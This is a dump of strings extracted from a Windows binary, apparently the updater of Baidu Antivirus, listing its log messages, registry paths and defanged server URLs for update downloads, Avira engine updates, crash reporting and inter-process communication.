CUpdateConfig::kill_proc_and_stop_svc_: Call wait_must_wait_exe_quit failed(0x%x).

CBavUpdateMan::try_dynamic_update_: End(0x%x).

CBavUpdateMan::try_dynamic_update_: Call clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeGetUpdateType) failed(x).

CBavUpdateMan::try_dynamic_update_: Call clUpdate.GetUpdateInfo(enumUpdateGetInfoTypeDynamicUpdateRollback) failed(x).

CBavUpdateMan::try_dynamic_update_: Call clUpdate.UpdateFiles failed(x).

CBavUpdateMan::try_dynamic_update_: Call kill_proc_and_stop_svc failed(0x%x).

CBavUpdateMan::try_dynamic_update_: Call is_can_dynamic_update failed(0x%x).

CBavUpdateMan::try_dynamic_update_: Call get_update_file_lists failed(0x%x).

CBavUpdateMan::pop_reinstall_bubble_info_: Extract file(%s) failed(x).

\UpdateBubbleInfo.ini

CBavUpdateMan::pop_reinstall_bubble_info_: The download file name(%s) is wrong.

CBavUpdateMan::pop_reinstall_bubble_info_: Initialize bavua agent failed(x).

\UpdateBubbleInfo.zip

CBavUpdateMan::reinstall_update_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

CBavUpdateMan::reinstall_update_: The install version is %s.

CBavUpdateMan::reinstall_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s /S /Update successful.

CBavUpdateMan::reinstall_update_: Call Session_Token_StaticLib::StartAppForUser_Safe %s /S /Update failed.

CBavUpdateMan::reinstall_update_: Call Session_Token_StaticLib::StartUserAppInSrv %s /S /Update successful.

CBavUpdateMan::reinstall_update_: Call Session_Token_StaticLib::StartUserAppInSrv %s /S /Update failed.

"%s" /S /Update

CBavUpdateMan::reinstall_update_: Begin(%d).

CBavUpdateMan::DoWork_: End(%d).

CBavUpdateMan::DoWork_: There is no %s process, we will not need to notify update.

CBavUpdateMan::DoWork_: Call Session_Token_StaticLib::StartAppForUser_Safe %s successful.

CBavUpdateMan::DoWork_: Call Session_Token_StaticLib::StartAppForUser_Safe %s failed.

CBavUpdateMan::DoWork_: Create BavTray.exe -UpdateVersion..

CBavUpdateMan::DoWork_: Call get_update_to_info failed(x).

CBavUpdateMan::DoWork_: Call try_dynamic_update succeeded(0x%x).

CBavUpdateMan::DoWork_: Call try_dynamic_update failed(0x%x).

CBavUpdateMan::DoWork_: Call m_clUpdate.UpdateFiles failed(x).

CBavUpdateMan::DoWork_: Call reinstall_update failed(x).

CBavUpdateMan::DoWork_: The download speed is 0x%x byte per second.

CBavUpdateMan::DoWork_: Call get_update_from_info failed(x).

CBavUpdateMan::DoWork_: Failed report.

CBavUpdateMan::DoWork_: The nResult = %d, g_stUpdateEvent.dwUpdateMethod = %d.

CBavUpdateMan::DoWork_: Call m_clUpdate.DownloadUpdateFiles failed(x).

CBavUpdateMan::DoWork_: Call m_clUpdate.CheckNeedUpdate failed(x).

CBavUpdateMan::DoWork_: Failed to report active user

CBavUpdateMan::DoWork_: Call CBavConfigIni::SetString failed(0x%x).

CBavUpdateMan::DoWork_: Report this machine as an active user.

Baidu_Secure_SystemUp_%s

baidu_jp_ime_cell_dict_%s

cell_dict.ini

md5: %s, md5 re-computed: %s

Save it to File "%s"

_.xml

Failed to create file "%s", error code: %d

<client ver="%s" url_full="%s" size_full="%s" md5_full="%s" url_core="" size_core="0" md5_core=""/>

CUpdateAgent::CheckNeedUpdate_: Call QueryStatus failed(x).

CUpdateAgent::CheckNeedUpdate_: Call m_piUpdate->CheckNeedUpdate failed(x).

CUpdateAgent::DownloadUpdateFiles_: Call QueryStatus failed(x).

CUpdateAgent::DownloadUpdateFiles_: Call m_piUpdate->DownloadUpdateFiles failed(x).

CUpdateAgent::UpdateFiles_: Call QueryStatus failed(x).

CUpdateAgent::UpdateFiles_: Call m_piUpdate->UpdateFiles failed(x).

CAviraUpdateMain::upload_avira_report_data_: Report avira data successful.

CAviraUpdateMain::upload_avira_report_data_: Call CUpdateDataReport::Instance()->AviraUpdateReport() failed(0x%x).

CAviraUpdateMain::upload_avira_report_data_: Call CUpdateDataReport::Instance()->Initialize() failed(0x%x).

CAviraUpdateMain::upload_avira_report_data_: Report avira data, Result = 0x%x, TryTime = 0x%x, StartTime = 0x%x, UpdateType = 0x%x, DownloadRate = 0x%x, RunTime = 0x%x, ErrorCode = 0x%x, AesetVersion = %s, AevdfVersion = %s, ErrorStr = %s.

CAviraUpdateMain::get_avira_download_position_: Call ReadFile failed(0x%x).

CAviraUpdateMain::get_avira_download_position_: The avira download position is %s.

CAviraUpdateMain::get_avira_download_position_: The file size is too big(0x%x).

CAviraUpdateMain::get_avira_download_position_: Call GetFileSizeEx failed(0x%x).

CAviraUpdateMain::get_avira_download_position_: Call CreateFile(%s) failed(0x%x).

CAviraUpdateMain::NotifyUpdateAviraToBav_: Call OpenFileMapping(%s) failed(0x%x).

CAviraUpdateMain::NotifyUpdateAviraToBav_: Call MapViewOfFile(%s) failed(0x%x).

CAviraUpdateMain::NotifyUpdateAviraToBav_: Post %d to BavTray.

CAviraUpdateMain::NotifyUpdateAviraToBav_: Set config file %s is 0.

CAviraUpdateMain::NotifyUpdateAviraToBav_: Set config file %s is 3.

CAviraUpdateMain::NotifyUpdateAviraToBav_: Call WritePrivateProfileString failed(0x%x).

CAviraUpdateMain::upload_avira_report_data_to_uts_: Call get_report_info failed(0x%x).

CAviraUpdateMain::upload_avira_report_data_to_uts_: Avira upload url is %s.

cgi-bin-py/get_avira_updata_info.cgi?

CAviraUpdateMain::get_avira_url_config_: The update url is (%s, %s), use cgi is %d.

hXXp://download.antivirus.baidu.com/sva_update_new

cgi-bin/get_sva.cgi?t=

CAviraUpdateMain::set_avira_url_config_: The avira download url is %s.

CAviraUpdateMain::get_avira_server_respond_,set_avira_url_config

CUpdateAgent::get_avira_server_respond_: Call set_avira_url_config failed(0x%x).

CUpdateAgent::get_avira_server_respond_: Call CWinhttpCommunication::GetServerCgiRespond failed(0x%x).

CAUM::get_avira_server_respond_,get_avira_url_config

CUpdateAgent::get_avira_server_respond_: Call get_avira_url_config failed(0x%x).

CUpdateAgent::get_avira_server_respond_: Call GetModuleFileName failed(0x%x).

CAviraUpdateMain::UpdateAviraThreadDoWork_: End(x).

CAviraUpdateMain::UpdateAviraThreadDoWork_: Call get_avira_server_respond failed(0x%x, %d)

CAviraUpdateMain::UpdateAviraThreadDoWork_: Call Init failed(0x%x)

CAviraUpdateMain::UpdateAvira_: End(x).

CAviraUpdateMain::UpdateAvira_: Call CreateThread failed(x).

\avupdate_uninitialize failed with error code %d

avupdate_check_for_updates failed with error code %d

avupdate_download_files/avupdate_install_files failed with error code %d

AviraUpdater::UpdateCurrentDownloadFilePercent_: Error size(0x%x) or percent(0x%x).

AviraUpdater::UpdateCurrentDownloadFilePercent_: NewPercent = %d, percent = %d, ui second = %d.

AviraUpdater::UpdateCurrentDownloadFilePercent_: Percent = %d.

@AviraUpdater::get_process_handle_by_name_: We found process(%s).

AviraUpdater::get_process_handle_by_name_: We found error process(%s).

AviraUpdater::get_process_handle_by_name_: Call Process32First failed(x).

AviraUpdater::get_process_handle_by_name_: Call CreateToolhelp32Snapshot failed(x).

@avupdate.conf

avupdate.exe

failed to get scanner path: 0x%x

\idx\savapilib-win32-en.idx

Deleting %s, errcode:0x%x

\idx\master.idx

\savapi3.dll

\msvcr90.dll

finish to unzip from %s to %s, err: 0x%x

cound not read next file %s

could not read destination file %s ,error %d

could not open destination file %s

could not open file %s

could not read file info %s

could not read file global info %s

failed to open zip file %s

failed to update scanner:%d

failed to update avira scanner:%d

failed to get semaphore: 0x%x

AviraUpdater::RunUpdateRoutine_: Call WaitForSingleObject return 0x%x.

RunUpdateRoutine ERROR: CreateProcess failed:0x%x

AviraUpdater::RunUpdateRoutine_: The routine(%s) is wrong.

RunUpdateRoutine: %s

avupdate.dll

[AvupdateWrapper] : %s

AvupdateWrapper::CallBack_: NewPercent = %d, percent = %d, ui second = %d.

Vavupdate_initialize failed with error code %d

avupdate_set failed with error code %d

avupdatelib_msg.avr

AvUpdate Library version is %d.%d.%d.%d

The license file will be searched in the '%s' directory.

Calling AvUpdate Library function avupdate_set for option AVUPDATE_OPTION_LICENSE_DIR with value %s

AvUpdate Library license check was %s

Calling AvUpdate Library function avupdate_set for option AVUPDATE_OPTION_LICENSE_CHECK with value %s

avupdate_parse_command_line failed with error code %d

AvupdateWrapper::Update_: End(0x%x).

AvupdateWrapper::Update_: The Param is %s

CBavUpdateMan::RunUpdateLib_: Call CreateThread failed(x).

can not download avira %s

failed to download file %s, retry %d

\fullpackage.zip

proxy-password

ProxyAuthPassword

proxy-port

ProxyPort

/idx/savapilib-win32-en.idx

/idx/master.idx

failed to get %s from %s

Avira\aevdf.dat

Avira\aeset.dat

failed to RunUpdateRoutine, retry %d

inivalid url when downloading avira, try to use avupdte.exe

finish to download full package of avira 0x%x

hbtn.reboot_now

updater.Tahoma.13.bold

btn.later

[BubbleFrm] Icon loading cx: %d cy: %d

btn.bubble_set

CBubbleFrame::get_update_version_: Call get_update_to_info failed(x).

not_reboot.string

updater.check_button_installer_pcf

btn.pcf_install_ok

CPcfPopularizeBubbleFrame::OnDirectUIClick_: Call CBavConfigIni::GetString failed(0x%x).

btn.pcf_install_close

CPcfPopularizeBubbleFrame::OnChar_: Call CBavConfigIni::GetString failed(0x%x).

CBavUpdateMan::DoWork_: Call CBavConfigIni::GetString failed(0x%x).

CPcfPopularizeBubbleFrame::OnCreate_: Call CBavConfigIni::GetString failed(0x%x).

CReinstallWarningFrame::OnDirectUIClick_: Call BavHelper_StaticLib::RunExe %s successful.

CReinstallWarningFrame::OnDirectUIClick_: Call BavHelper_StaticLib::RunExe %s /S /Update failed.

CReinstallWarningFrame::OnDirectUIClick_: Call BavCreateProcessBySvc %s /Update successful.

CReinstallWarningFrame::OnDirectUIClick_: Call BavCreateProcessBySvc %s /Update failed.

btn.update

ToolsUpdateThreadToCallerCallback_: Call PostMessage failed(x).

CBavToolsUpdateFrame::OnToolsUpdateMsg_: Call PostMessage(WM_CLOSE) successful.

CBavToolsUpdateFrame::OnToolsUpdateMsg_: Call PostMessage(WM_CLOSE) failed(x).

CBavToolsUpdateMain::send_adv_tool_msg_: Call WaitForSingleObject(30000) WAIT_TIMEOUT, GetLastError = 0x%x

CBavToolsUpdateMain::send_adv_tool_msg_: Call WaitForSingleObject is 0x%x

CBavToolsUpdateMain::send_adv_tool_msg_: The mutex handle is null.

CBavToolsUpdateMain::create_map_and_mutexs_: Call CreateEvent failed(x).

CBavToolsUpdateMain::create_map_and_mutexs_: Call CreateMutex failed(x).

SingleInstanceCheckBeforeRun_: Call MapViewOfFile failed(0x%x)

CBavToolsUpdateMain::create_map_and_mutexs_: Call SetObjectToLowIntegrity failed(0x%x)

CBavToolsUpdateMain::create_map_and_mutexs_: Call CreateNamedShareMem failed(0x%x)

CBavToolsUpdateMain::Init_: Call create_global_map_and_mutexs_events failed(0x%x).

CBavToolsUpdateMain::commit_synchronous_request_: Call clBavToolsUpdate.QueryStatus failed(0x%x).

CBavToolsUpdateMain::commit_synchronous_request_: Call clBavToolsUpdate->CommitAsynchronousRequest(%d) failed(0x%x).

CBavToolsUpdateMain::tools_update_run_: Call commit_synchronous_request failed(0x%x).

CBavToolsUpdateMain::tools_update_run_: Call clBavToolsUpdate.Init failed(0x%x).

CBavToolsUpdateMain::UpdateToolsRun_: Call CreateThread failed(x).

mCUpdateDataReport::Initialize_: Call m_pIReportComm->Initialize failed.

CUpdateDataReport::Initialize_: Call LoadEngineReport failed.

CUpdateDataReport::AviraUpdateReport_: ReportData failed

CUpdateDataReport::AviraUpdateReport_: SerializeToString failed

CUpdateDataReport::AviraUpdateReport_: This obj was not initialized.

CUpdateDataReport::BavUpdateReport_: ReportData failed

CUpdateDataReport::BavUpdateReport_: SerializeToString failed

CUpdateDataReport::BavUpdateReport_: This obj was not initialized.

CPopularize::generate_operation_body_: The popularize type(%d) was wrong.

CPopularize::generate_operation_body_: Call clOPBody.SerializeToString failed.

CPopularize::generate_operation_body_: Call clRequest.SerializeToString failed.

CPopularize::generate_operation_body_: Call clOPBody.add_operation_request failed.

CPopularize::op_notify_: Call clPopularizeResponse.ParseFromString(%s) failed.

CPopularize::op_notify_: The eTaskState(%d) was wrong.

CPopularize::op_notify_: Begin(%d).

CPopularize::copy_installer_to_temp_path_: The exe file name and paramater was 0 length.

CPopularize::copy_installer_to_temp_path_: Call CopyFile(%s, %s) failed(%d).

GetOneExeAndParameters_: The exe file name is %s, paramater is %s.

GetOneExeAndParameters_: The exe file name was not end with ".

GetOneExeAndParameters_: The exe file name was not begin with ".

GetOneExeAndParameters_: The exe file name and paramater was 0 length.

CPopularize::Initialize_: Call pfGetOperationInstance failed(0x%x).

CPopularize::Initialize_: Call m_piOperation->InitializeTask failed(0x%x).

OPERATION_INTERFACE_20140829

CPopularize::Initialize_: Call GetProcAddress(%s) failed(%d).

CPopularize::Initialize_: Call LoadLibraryW failed(%d).

CPopularize::Initialize_: Call GetModuleFileName failed(%s).

CPopularize::Initialize_: Call GetModuleFileName failed(%d).

CPopularize::Initialize_: Call CreateEvent failed(%d).

CPopularize::ConvertNameParameters_: Call GetOneExeAndParameters(%s) failed.

CPopularize::CreateInstallerProcess_: Call RunExe(%s) successful.

CPopularize::CreateInstallerProcess_: Call RunExe(%s) failed.

CPopularize::CreateInstallerProcess_: Call ConvertNameParameters failed(0x%x).

CPopularize::CreateInstallerProcess_: Call GetModuleFileName failed(%d).

CPopularize::SendUpdateRequest_: End dwIsNeedInstall = %d, wstrInstallReminder = %s, wstrInstallNameParameter = %s, dwBubbleStyleId = %d, wstrImageZipLink = %s, dwInterval = %d.

CPopularize::SendUpdateRequest_: Call m_piOperation->SetTaskCancel failed(0x%x).

CPopularize::SendUpdateRequest_: Call m_piOperation->AddTask failed(0x%x).

CPopularize::SendUpdateRequest_: Call generate_operation_body failed(0x%x).

CPopularize::SendUpdateRequest_: Call m_piOperation->InitializeTask failed(0x%x).

CUpdateTaskManager::do_atomic_task_: Call m_clBavAviraMain.UpdateAvira failed(0x%x).

CUpdateTaskManager::do_atomic_task_: Call m_clBavUpdateMain.Start failed(0x%x).

CUpdateTaskManager::create_events_: Call CreateEvent failed(x).

CUpdateTaskManager::create_events_: Call m_clToolsUpdateMain.Init failed(0x%x).

CUpdateTaskManager::create_events_: Call m_clBavUpdateMain.Init failed(0x%x).

CUpdateTaskManager::DoWork_: Call WaitForSingleObject return failed(0x%x).

CUpdateTaskManager::DoWork_: Call do_atomic_task failed(0x%x).

CUpdateTaskManager::Init_: Call CreateThread failed(%d).

CUpdateTaskManager::Init_: Call add_one_task failed(0x%x).

CUpdateTaskManager::Init_: Call int_obj failed(0x%x).

CUpdateTaskManager::Init_: Call create_events failed(0x%x).

CUpdateTaskManager::AddTask_: There is task(%d) of this type running or windown is visible. We will skip this request.

CUpdateTaskManager::AddTask_: There is task(%d) of this type running. We will skip this request.

CUpdateTaskManager::AddTask_: There is this type task(%d) in the task set. We merge same task type, skip this request.

pCUpdateServerReport::PostServerReportData_: The report data is %s.

CUpdateConfig::update_upload: Call pclUpdate->GetUpdateInfo(enumUpdateGetInfoTypePrgDlTime) failed(0x%x).

CUpdateServerReport::GetServerReportDataBaseInfo_: Call clUpdate.GetUpdateFilesList(enumUpdateGetInfoTypeInstallVersion) failed(0x%x)

BugReport

eg.bav

br.bav

hXXp://bug.bav.baidu.com

CrashReportModuleConf.ini

hXXp://VVV.google.com

hXXp://VVV.baidu.com

shell32.dll

E%u.%u.%u.%u

AtomCopyFile_%d_%d_%d.tmp

SogouExplorer.exe

baidubrowser.exe

SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Baidu Antivirus

gKernel32.dll

SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

http\shell\open\command

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

000000000000

0000-0000-0000#0000

g\StringFileInfo\xx\%s

BavDllFilter.dll

%S$%x

PatchExportTable

ntdll.dll

advapi32.dll

[PatchMyImportTables

public %s

sub_%0X

%sloc_%0X

loc_%0X:

push %seg

pop %seg

setÌ

cmovÌ

66006666

xmm%d

st(%d)

%s (%0Xh)

 %0Xh

-%0Xh

%0Xh:%0Xh

%0Xh, %0Xh

BAD ptr %s

oword ptr %s

tbyte ptr %s

qword ptr %s

dword ptr %s

word ptr %s

byte ptr %s

KERNEL32.DLL

@@1.0.0.0

%d.d.d-d:d:d

`%s, Call DownloadOver, percent=%d, RetCode=%d

%s, DownloadRet = %d, costtime = f

%s, costtime = f

%s, Exception

%s, Start New Channel : %d

%s, limit download speed

%s, Error : Url or Path NULL

%s, Error : Url or Path empty

%s First DestPath = %s

%s URL = %s, appen = %s

%s, Error : work thread start

%s, Error : Path can't write

%s, Error : CreateDirectory fail

%s, Error : Path no legal

%s, Error : Re In

%s, End

%s, Start

X-X-x-XX-XXXXXX

%s, GetLastError=%d

%s, It should not happen

%s, Stop Thread

%s, StartNewThread : %d

%s, Fail download : retry times = %d

%s, Fail more than max retry time!!!

%s, Network error

%s, CTimerStartChannelTask Stop Thread

%s, Stop a Channel : %d

%s, percent=%d, Speed=%I64d

%s, want to StopThread

%s, cookie = %d

%s, CDownloadPartOverTask StopNewThread

%s, Respone = %d

%s, curl_easy_perform = %d

gnet::CClearNoSupportMultiTask::RunThreadTask

`%s No Valid Dest Path Error

%s No ReuseSameFile : RemoteFileSize no same

%s No ReuseSameFile : configured size big than remote file

%s No ReuseSameFile : channel num error

%s No ReuseSameFile : Force name

%s No ReuseSameFile

%s conf_path = %s

%s, First Start StartNewThread : %d

%s, Call DownloadStart

%s, MemMap UniqueID:%s

%s Final DestPath = %s

%s Big File No NTFS disk

%s, DeleteFile GetLastError=%d

%s No Support Range

%s remote size = %I64d

%s, GetRemoteFileSize : Retry = %d

%s, GetNetFileSize Respone = %d

%s, GetNetFileSize curl_easy_perform = %d

%s Proxy: %s

%s IE Proxy: %s

%s, Network Error

Q%s, no gnet file: %s

%s gnet info: %s

%s, cookie:%d, responsecode:%d

%s, mapFile Write Error

%s, Check Head Error, can not writefile

127.0.0.1

https=

http=

c:\crash.ini

ShowBugReport

DumpConfig.ini

_ServerStore.dat

BugReportConfig.ini

BugReportConfig

BugInfoUploadURL

BugURL

Baidu Crash Report

CrashCallBackExe

/cgi-bin-py/dump_controler.cgi

product=%s;guid=%s;type=%d;

hXXp://

serverreported

/Start:%s /Program:%s /Path:%s /Version:%s /Module:%s /App:%s /ID:%s /Email:%s /DumpPath:%s

trayreported

l\StringFileInfo\x\%s

\StringFileInfo\X

[ipcChannel] found no channel of this type:%d

[ipcChannel::GetPipeHandle]

ClientBackground, pipe:%s, channel:%s

\\.\Pipe\%s

[ServerBackground] PIPEINST

CreateNamedPipe

LastError [%d]

[ClientBackground] DisconnectNamedPipe

intrusive_ptr_add_ref : %S %d

[IPC] Readfile from client pipe failed. Errorcode: %d.

failed to GetModuleFileName: 0x%x

[ServerAgent2] create window %s

(id:%d name:%S),

[ClientBackground2] IPCMessage (ID:%d name:%S)

[ClientBackground2] DisconnectNamedPipe

:0x%x

[ClientBackground2] SetNamedPipeHandleState

[IPC] Readfile from server pipe failed. Errorcode: %d.

ClientAgent2 pThis is Null, return: TID:%d

ClientAgent2 m_hCallbackWnd isn't Null, return: TID:%d

ClientAgent2 WNDCLASS isregistered, return: TID:%d, lastErr:%d

[ClientAgent2] create window %s

lastError: %d

(id: %d,name:%S),

[ClientAgent2] (id:%d name:%S)

ACHttpDownloader::CHttpDownloader_: Call QueryPerformanceFrequency failed(0x%x).

pAddDownloadTask, url: "%s"

http thread id: %u

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

m_hSession is %u

Error code %d, desr: %s

          dump http response header

          end http response header

http status: %d

failed to create file "%s", error code: %d

failed to get size for file "%s", error code: %d

protocol: %s, host: %s, port: %d, uri: %s

download file failed: filename=%s, url=%s

https

HTTP/1.1

add %s to http request header

Error %u in WinHttpCrackUrl, url: "%s"

ConstructUrl, pszIn: "%s", pszExtraInfo: "%s"

Error %u in WinHttpCrackUrl

Url len: %u

ConstructUrl, url: "%s"

CWinhttpCommunication::Init_: Call CreateEvent failed(%d).

CWinhttpCommunication::Init_: Callm_clDownloader.Create failed.

CWinhttpCommunication::GetServerCgiRespond_: Call DeleteFile(%s) failed(%d).

CWinhttpCommunication::GetServerCgiRespond_: The cgi parameter were wrong(wstrCgiUrl.length() = %d, vecParameterKey.size() = %d, vecParameterValue.size() = %d.

CWinhttpCommunication::GetServerCgiRespond_: Call winhttp_get_cgi failed(0x%d).

CWinhttpCommunication::DownloadFile_: The file size is not 0, bsFileMd5 parameter is NULL.

CWinhttpCommunication::DownloadFile_: The resume broken download cannot support 0 file size, we will download a new one.

CWinhttpCommunication::DownloadFile_: Call get_resume_broken_download_information(%s) failed.

CWinhttpCommunication::DownloadFile_: Download file(%s).

CWinhttpCommunication::DownloadFile_: Use back download method.

CWinhttpCommunication::DownloadFile_: User quit.

CWinhttpCommunication::DownloadFile_: Call asynchronous_download_file(%s) function failed(x), we will try again.

CWinhttpCommunication::DownloadFile_: Call asynchronous_download_file(%s) function failed(x).

CWinhttpCommunication::DownloadFile_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) function failed(%d).

CWinhttpCommunication::DownloadFile_: Check download file(%s) size failed, size(0x%x, 0x%x).

CWinhttpCommunication::DownloadFile_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) function failed.

CWinhttpCommunication::DownloadFile_: Check download file(%s) failed,md5(am=0xxxxx-xxxx-xxxx-xxxx, dm=0xxxxx-xxxx-xxxx-xxxx).

CWinhttpCommunication::DownloadFile_: Download file(%s) success.

.whrbd_inf

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_TASK_START

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_TASK_FAILED

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_TASK_STOP

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_MAN_INI

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_MAN_FAILED

CWinhttpCommunication::win_http_download_callback_: nCode=DOWNLOAD_MAN_CLOSE

CWinhttpCommunication::win_http_download_callback_: nCode=%d

CWinhttpCommunication::get_cgi_: The WinInet url is %s.

CWinhttpCommunication::get_resume_broken_download_information_: Call StrHelper_StaticLib::HexStr2BinaryData(%s) failed.

CWinhttpCommunication::get_resume_broken_download_information_: Download file(%s) need restart download! The cached file which was been downloaded partial is not same with to download.

CWinhttpCommunication::get_resume_broken_download_information_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) function failed(%d).

CWinhttpCommunication::get_resume_broken_download_information_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) failed.

CWinhttpCommunication::get_resume_broken_download_information_: Download file(%s) had been downloaded successfully.

CWinhttpCommunication::get_resume_broken_download_information_: Call StrHelper_StaticLib::BinaryData2HexStr failed.

CWinhttpCommunication::DownloadFile_: Call m_clDownloader.AddDownloadTask(nFinishedSize=%I64u, nTotalSize=%I64u, strUrl=%s, strFileName=%s)

CWinhttpCommunication::DownloadFile_: Result is %d.

CWinhttpCommunication::asynchronous_download_file_: Call WaitForSingleObject return 0x%x.

CWinhttpCommunication::asynchronous_download_file_: User quit.

FileUrl

CWinhttpCommunication::set_resume_broken_download_info_to_xml_: Call FileInfo_StaticLib::GetFileSizeByNameExW(%s) function failed(%d).

CWinhttpCommunication::set_resume_broken_download_info_to_xml_: The file(%s) was not been downloaded.

CWinhttpCommunication::set_resume_broken_download_info_to_xml_: Call m_clXmlUpdate.ElementClear function failed.

CWinhttpCommunication::set_resume_broken_download_info_to_xml_: Call StrHelper_StaticLib::BinaryData2HexStr failed.

CWinhttpCommunication::set_resume_broken_download_info_to_xml_: Call clXmlUpdate.Save() failed.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: Download file(%s) did not have been downloaded.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: Download file(%s) did not have any partial download info.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: Call file_size_compare(%s) failed.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: The xml(%s) root element name was wrong.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: Call StrHelper_StaticLib::HexStr2BinaryData(%s) failed.

CWinhttpCommunication::get_resume_broken_download_info_from_xml_: The file(%s) downloaded size is too big.

CWinhttpCommunication::file_size_compare_: Call FileInfo_StaticLib::GetFileSizeByNameExW failed(0x%x).

CWinhttpCommunication::file_size_compare_: The downloaded partial file(%s) donot have same size with resume broken download info.

CBavUaAgent::AgentInit_: Call LoadLibrary failed, GetLastError(x).

CBavUaAgent::AgentInit_: Call GetProcAddress failed, GetLastError(x).

CBavUaAgent::AgentInit_: Call m_pi7zip->QueryInterface failed(x).

CBavUaAgent::Extract_: Call get_archive_info failed(x).

CBavUaAgent::Extract_: Call m_piExtract->Extract failed(x).

CBavUaAgent::AgentInit_: Call m_piConfig->SetConfig failed(x).

CBavUaAgent::AgentInit_: Call m_piExtract->Extract failed(x).

CBavUaAgent::AgentInit_: Call m_piExtract->Extract error info is %s.

CBavUaAgent::config_extract_engine_: Call m_piConfig->GetFilePath failed(x).

CBavUaAgent::config_extract_engine_: Call m_piConfig->SetConfig failed(x).

CBavUaAgent::create_dirs_: Call CreateDirectory failed(x).

CBavUaAgent::create_file_: Call CreateFile failed(x).

CBavUaAgent::create_file_: Call WriteFile failed(x).

reboot.dat

CUpdateReboot::GetRebootUpdateTimes_: CreateFileW(%s) failed(x).

CUpdateReboot::GetRebootUpdateTimes_: Call ReadFile(%s) failed(x).

CUpdateReboot::GetRebootUpdateTimes_: There reboot update time is %d.

CUpdateReboot::GetRebootUpdateDir_: Call LittleEndianU322HexStr failed(x).

CUpdateReboot::GetRebootUpdateTimes_: Call WriteFile(%s) failed(x).

CUpdateReboot::reboot_update_files_: Call MoveFileEx(%s, NULL) to remove failed(x).

CUpdateReboot::reboot_update_files_: Call MoveFileEx(%s, NULL) to remove success.

CUpdateReboot::RebootDeleteDir_: Call RebootDeleteDir(%s) failed(x).

CUpdateReboot::RebootDeleteDir_: Call MoveFileEx(%s, NULL) to remove failed(x).

CUpdate::RebootDeleteDir_: Call MoveFileEx(%s, NULL) to remove success.

CUpdateReboot::RebootDeleteDir_: The dir has file(%s) and is not empty.

CUpdateReboot::delete_dir_: Call FindClose failed(x).

CServerCommunication::Init_: Call QueryPerformanceFrequency failed(x).

Communication.dll

CServerCommunication::Init_: Call load_communication_dll function failed(x).

CServerCommunication::Init_: Call CreateEvent failed(x).

CServerCommunication::GetServerCgiRespond_: The cgi parameter were wrong(wstrCgiUrl.length() = %d, vecParameterKey.size() = %d, vecParameterValue.size() = %d.

CServerCommunication::DownloadFile_: The resume broken download cannot support 0 file size.

CServerCommunication::DownloadFile_: Call get_resume_broken_download_information(%s) failed.

CServerCommunication::DownloadFile_: Download file(%s).

CServerCommunication::DownloadFile_: DownloadFile(%s, %s)

CServerCommunication::DownloadFile_: Call asynchronous_download_file(%s) function failed(x), we will tray again.

CServerCommunication::DownloadFile_: Call asynchronous_download_file(%s) function failed(x), we will try again.

CServerCommunication::DownloadFile_: Call asynchronous_download_file(%s) function failed(x).

CServerCommunication::DownloadFile_: Check download file(%s) failed(x), size(x,x), crc(x,x).

CServerCommunication::DownloadFile_: Download file(%s) size(0), crc(0).

CServerCommunication::DownloadFile_: Download file(%s) success.

.rbd_inf

CServerCommunication::DownloadFile_: DownloadFile(%s, %s) failed.

CServerCommunication::DownloadFile_: Check download file(%s) failed(x), size(x,x).

Update\AviraPosition.txt

CServerCommunication::GetAviraCanUpdate_: Result is 0x%x.

CServerCommunication::GetAviraCanUpdate_: Call WaitForSingleObject return 0x%x.

CServerCommunication::GetAviraCanUpdate_: Call get_avira_download_position failed(0x%x).

CServerCommunication::load_communication_dll_: Call LoadLibraryW(%s) function failed(x).

CServerCommunication::load_communication_dll_: Call GetProcAddress function failed(x).

CServerCommunication::after_callback_: Called(0x%x).

CServerCommunication::win_inet_upload_client_info_: The Communication.dll cannot work, we will use WinInet api to update.

CServerCommunication::win_inet_upload_client_info_: The WinInet url is %s.

CServerCommunication::winhttp_get_cgi_: The Communication.dll cannot work, we will use WinHttp api to get.

CServerCommunication::winhttp_get_cgi_: The WinInet url is %s.

CServerCommunication::asynchronous_download_file_: Result is 0x%x.

CServerCommunication::asynchronous_download_file_: Call WaitForSingleObject return 0x%x.

CServerCommunication::get_avira_download_position_: Call CreateFile(%s) failed(0x%x).

CServerCommunication::get_avira_download_position_: Call GetFileSizeEx failed(0x%x).

CServerCommunication::get_avira_download_position_: The file size is too big(0x%x).

CServerCommunication::get_avira_download_position_: Call ReadFile failed(0x%x).

CServerCommunication::get_avira_download_position_: The avira download position is %s.

CServerCommunication::get_resume_broken_download_information_: Call HexStr2BinaryData(%s) failed.

CServerCommunication::get_resume_broken_download_information_: Download file(%s) need restart download! The cached file which was been downloaded partial is not same with to download.

CServerCommunication::get_resume_broken_download_information_: Check download file(%s) failed(0x%x), size(0x%x, 0x%x).

CServerCommunication::get_resume_broken_download_information_: Download file(%s) had been downloaded successfully.

CServerCommunication::get_resume_broken_download_info_from_xml_: Download file(%s) did not have been downloaded.

CServerCommunication::get_resume_broken_download_info_from_xml_: Download file(%s) did not have any partial download info.

CServerCommunication::get_resume_broken_download_info_from_xml_: Call file_size_compare(%s) failed.

CServerCommunication::get_resume_broken_download_info_from_xml_: The xml(%s) root element name was wrong.

CServerCommunication::get_resume_broken_download_info_from_xml_: Call HexStr2Uint32Data(%s) failed.

